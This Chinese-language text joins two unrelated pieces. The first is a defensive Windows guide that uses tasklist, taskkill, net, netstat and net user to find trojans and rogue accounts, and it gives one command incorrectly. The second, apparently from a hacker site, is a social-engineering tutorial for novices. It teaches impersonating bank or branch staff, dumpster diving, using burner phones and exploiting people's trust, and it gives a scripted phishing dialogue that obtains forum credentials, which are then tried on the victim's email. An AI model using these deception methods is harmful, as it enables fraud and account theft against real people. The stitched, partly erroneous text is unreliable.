Tasklist命令是用来显示运行在本地或远程计算机上所有进程的命令，使用方法为：点击“开始”菜单→“运行”，输入“cmd”运行“命令提示符”，输入命令“Tasklist”并回车，当前系统中所有的进程就都显示出来了。我们要做的就是查看这些进程中是否有陌生进程，当然这需要你有一点手工杀毒的经验。找到危险进程后，就可以使用“Tasklist”命令的搭档——“Taskkill”命令结束进程。首先通过“Tasklist”命令查询危险进程的PID值，然后输入命令“Taskkill /pid 1234”结束进程，1234即危险进程的PID值。 
小贴士:Taskkill可以结束“任务管理器”中无法结束的进程，包括系统进程，对于结束顽固病毒的进程效果很不错。 

服务查询——net start 
不少病毒会将自身注册为系统服务，以此实现随系统启动。要查询系统中的服务我们只需在“命令提示符”中输入“net start”命令就可以了，回车后将会显示系统中所有的服务。停止服务的方法为“net stop 服务名”，例如输入：“net stop G_Server”并回车，便可以结束灰鸽子木马的服务。开启服务的命令则为“net stat 服务名”。 

查询端口信息——netstat 
木马潜伏在系统中，会打开一个端口与黑客进行通信，而不少流氓软件也会打开系统的端口搜集并发送用户的信息。因此端口也是判定系统安全的一个重要位置。“netstat”命令的功能是显示网络连接、路由表和网络接口信息，可以让用户得知目前都有哪些网络连接正在运作。 
查询系统中打开的端口的方法为：在“命令提示符”中输入“netstat -an”并回车，这样就能显示本机打开的端口了。“netstat”在显示打开端口的同时，也会显示打开该端口的可执行程序，这样我们就可以知道木马文件所在的位置，用安全工具删除之。 

检测黑客账户——net user 
黑客**我们的电脑后，通常会建立一个账户，方便下次**。因此，系统账户的情况也是我们必须要查询的地方，用“net user”命令即可轻松办到。当我们在“命令提示符”中使用“net user”命令后，便可列出当前系统中所有已存在的账户，一般情况下只有“administrator”和“guest”账户，如果出现陌生的账户，那就一定要小心了，很可能是黑客留下的。删除账号的方法为输入："net  user用户/del


　大家一定知道超级黑客凯文·米特尼克吧，深为他的社会工程学所折服，美国国防部、五角大楼、中央情报局、北美防空系统……都是他闲庭信步的地方，没有人怀疑他的真实身份，对于他所想获得的信息如鱼得水，这便是社会工程学的魅力。当然，社会工程学不是那么困难难以撑握，本文分为社会工程学—信息刺探、社会工程学—心理学的应用、社会工程学—反查技术等三部曲使大家走入社会工程学的神秘世界。 社会工程学师一般都干了什么呢？恐怕小菜们一定很想知道，是的，他们的目标或许是你的银行账户、私人信息、或是对企业拿取一份商业秘密。不管如何，他们总会设法找到一个切入点，哪怕只需要你的一个名字，他就能越过你所装的最好的防火墙或是杀毒软件，听上去有点恐怖，但事实如此，如果他们开始精心设计一个的陷阱，一切皆有可能。 　　前言 　　在前几期的>有介绍过一些社会工程学的技巧，但是，那是狭义的社会工程学，有的是与社会工程学没有关系，比如利用dirshell扫描出大量的数据库，一旦其中存在Email与QQ，便利用其密码尝试，运气好便可成功获得真实密码，事实上这与心理学有关系，一般而言，18岁以下的人所拥有的密码为1~2个，其它为1~3个。为什么会出现这样的呢？大部分人凡事讲究方便自已，自信自已的信息一直处于安全状态。小菜们一定看到，狭义的社会工程学给人的是不可信的。广义的社会工程学是怎样的呢？说白了便是空手套白狼。它要求的是你不仅知道目标的计算机信息，且必须通过信息收集了解目标弱点，即规则弱点、人为弱点，然后开始构造精心的陷阱让目标交出攻击者所想要的信息。 　　这里说明一些社会工程学的误区，有的并不能称之为社会工程学，有的小菜别被误导了。比如为了使用findpass找在线管理员的密码，而shutdown掉服务器，迫使管理员登录。请记着，这并不能称之为社会工程学，而是一种蠢方法，虽然shutdown了服务器，你能知晓管理员在线？明天或是后天，你有精力不停的等待么？菜鸟要知晓的是，社会工程学前提是离不开信息刺探，我们更好的方法是便是从筛选的信息将目标一步步引导入自已的控制范围。 　　不可否认，社会工程学与生活的相关事物存在共通性，比如社交、商业、交易等都能看到社会工程学部分的影子，然而人们无法感觉。即使计算机与Internet相隔，配备高级入侵监测系统，而且也是专家人物维护，但不可忽视的是：每个人，都有弱点！而社会工程学师不但能善用这种弱点为他们服务，更危险的是，这种稍闪即逝的入侵难以察觉。这一部分简而言之使小菜明白狭义的社会工程学与广义的社会工程学的区别。下面将走进的第一部分便是信息刺探…… 　　第一部分：社会工程学—信息刺探 　　一、善用你身边的信息 　　尽量利用现有所知道的信息，这些信息将能处理好突发事件，此类信息指的是规章、制度、方法、约定。规章，指的是一个行业的规章，我们可以认为是行规，或是内部约定，比如，货摊A为了抢掉货摊B的生意，故意低压低价格来龚断是不对，违反了不正当经营法了。　所以我们要尽量了解各行各业的之间的此类信息，比如校园，只有领导层内的人员才会拥有一份全校的师生的联系名单，服务行业通常有这样和那样的内部约定，了解此类信息对我们非常有利。 　　除了我们必须知道那些方法外，还需要的是业内术语。看到这儿，小菜一定会问什么是术语了，它主要有什么用？嗯，业内术语即不同行业之间的”黑话”，比如，我们黑客界的网络钓鱼术语，一般人会认为是到网上去钓鱼。当然，业内术语用处大着了，社会工程学的身份都是经常变换的，假设我们要冒充银行业务员，就必须知道一些压缩贷款、反担保、关联企业……等等一些术语，否则当我们试图拨通一个分行经理的电话，他们就会出现激警，即经理发现你的攻击行为，由此可见术语的重要性。 　　所以在一个攻击的起始，我们得做一些准备，假设我们的目标是一个数据恢复的企业，我们可以去买一本关于数据恢复的书，熟悉一些术语的概念。顺便伪装成一个访客看看一些员工办室墙上或是桌上的规章制度，如果去他们的垃圾处理场所，总会有一堆废纸什么的，但这里面包含了重要的信息，我们可以称之为垃圾的价值，比如会有一些客户书，员工身份号联系等。现在，小菜们一定明白，任何的信息都有利用的价值。 　　二、学习侦探的伪装 　　假设我们获取了目标部分信息，但必须通过对话得到更加敏感的信息，我们不可能直接让对方发现吧，所以我们得先完成身份的伪装。假设一个小菜的目标是某电器分行的销售部，那么我们最好伪装成另一分行的销售人员，而且我们知晓他们公司内部的销售术语，或我们再带一份分行销售报告书，我想对方一定不会怀疑你不是内部人员的。 　　任何的社会工程学师都会使人认为他是可信任的，友好的，有礼貌的，然而，这都是他们伪装出来的假象。如果要表现出文质彬彬，这会要求我们行为与语气上伪装。社会工程学师有一点比侦探更妙的地方是不需要去往自已嘴上贴胡子，哈哈。所以说，如果小菜想让MM喜欢的话，不妨去模仿她心目中的男孩。 　　再谈一下伪装的要点，任何情况不不要泄露自身的真实信息。或许我们会碰到一些意外事件，所以，在开始准备的时候，带上一张没有多少余额的手机，用完后就别再用了，这样可免遭怀疑。还有比如通讯账号QQ，永别使用自已的QQ，最好为自已准备一个信封，目标信息拿到后，将对方拖入黑名单。 　　三、人性的弱点 　　每个人都有心理弱点，没有人永远没有心理弱点。可以说，此部分是社会工程学重要的部分，他们能够利用人们的信任、乐于助人的愿望和同情心使你上当。那么，我们应该怎样去发现这类弱点呢？很简单，我们只要构造一个精心的问题，冒称他们的同事，设计一个帮助他们解决一个问题，那么，对方便会信任我们了，我们会更轻松获得想要的信息，而且更不容被发现。菜鸟们一定经常有很多问题吧，但他们总是茫目的去找一个人帮助，或是想认一个师父，我有个这样的经验，一个晚上我收了50个徒弟，然而只是开了一个玩笑，我的方法很简单，直接在Google搜索：本人找师父，或在qihoo搜索：找师父。然后帮助他们解决一个问题，两三句话便获取了他们的信任，有的还打算花钱请我，但我告诉他，只是开了一个玩笑，这个实例利用了他们对帮助的人信任。此部分最具危害性，所以我进行分开来讲，请参照社会工程学－－心理学应用。 　　四、组织信息　构造陷阱 　　假设现在我们通过目标的同事撑握了信息，比如目标的真实姓名、联系方式、作休时间…等等。这还不够的，高明的社会工程学师会把前前后后的信息进行组织、归类、筛选。以构造精心准备的陷阱，这样，可使目标自行走入。我打个比方吧，声明哦，这是我朋友的一个案例， 　　A：你现在打不开论坛对吗？ 　　B：是的，打开是一片空白 　　A：那是由于身份认证错误，我是XX论坛管理员，你要把论坛的用户名与密码发送到XX，以免系统稍后会恢复你的访问。 　　B：现在吗？ 　　A：是的，我得马上给你恢复，不然我作废账户了。 　　不一会儿，朋友很顺利得到他在某论论的VIP账户，论坛为什么打不开了，被DDOS了，从这个例子我们可以看出组织信息的重要性，如果B能正确回答第一个问题，A可能会考虑换种方式，这个案例非常的简单，那就是B对计算机方面不了解，害怕账户丢失，一点也不怀疑A就给了密码，而这个密码已乎通用了，现在大多数网民的密码几乎都为通用的，这样会造成非常大的损失，例如一个黑客，他拖走了这个论坛的库(数据库)，也许他的目标就是你，将其论坛的加密的密码进行破解，那么的你密码就已经泄漏了，这并不重要！要命的是如何你的密码被发现是通用的(通常社工者拿到一个密码之后会先测试一下你的邮箱密码是不是也是同样的)，如何被确认为是通用的，那么就将会发生损失最大的“一个密码引发的'血案'”！所以现在小菜明白前辈们总告诉你不要使用同一个密码，永别把密码告诉第三者




